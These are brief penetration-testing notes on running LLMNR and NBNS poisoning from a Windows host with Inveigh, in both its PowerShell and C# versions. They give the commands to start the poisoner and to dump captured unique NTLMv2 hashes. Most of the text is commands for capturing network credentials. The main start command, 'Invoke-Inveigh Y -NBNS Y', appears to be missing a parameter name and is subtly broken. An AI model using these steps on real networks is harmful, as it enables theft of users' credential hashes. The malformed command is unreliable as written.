From Windows Host

We can use tool like Inveigh to perfrom LLMNR poisoning from windows host.

First import the module.

Import-Module .\Inveigh.ps1

Then we can start Inveigh

Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

We can also view what other functionality are available in Inveigh

(Get-Command Invoke-Inveigh).Parameters

We can also use a C# version of inveigh as alternative.

.\Inveigh.exe

This tool is bit different, we can enter its interactive mode to display captured hashes(Press esc or enter for interactive mode).

Then we can get unique ntlm hashes using GET NTLMV2UNIQUE

You can also check other available options using "help" menu.